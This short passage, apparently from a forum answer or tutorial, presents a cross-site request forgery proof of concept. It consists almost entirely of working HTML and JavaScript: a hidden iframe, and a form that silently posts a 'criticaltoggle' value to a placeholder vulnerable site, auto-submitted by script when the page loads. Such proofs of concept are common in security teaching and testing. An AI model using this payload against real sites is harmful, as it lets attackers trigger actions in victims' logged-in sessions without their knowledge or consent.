One solution would be to open the form’s action in a frame like an iframe:
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
<input type="hidden" name="criticaltoggle" value="true">
<input type="submit" value="submit">
</form>
<script>document.getElementById("csrf-form").submit()</script>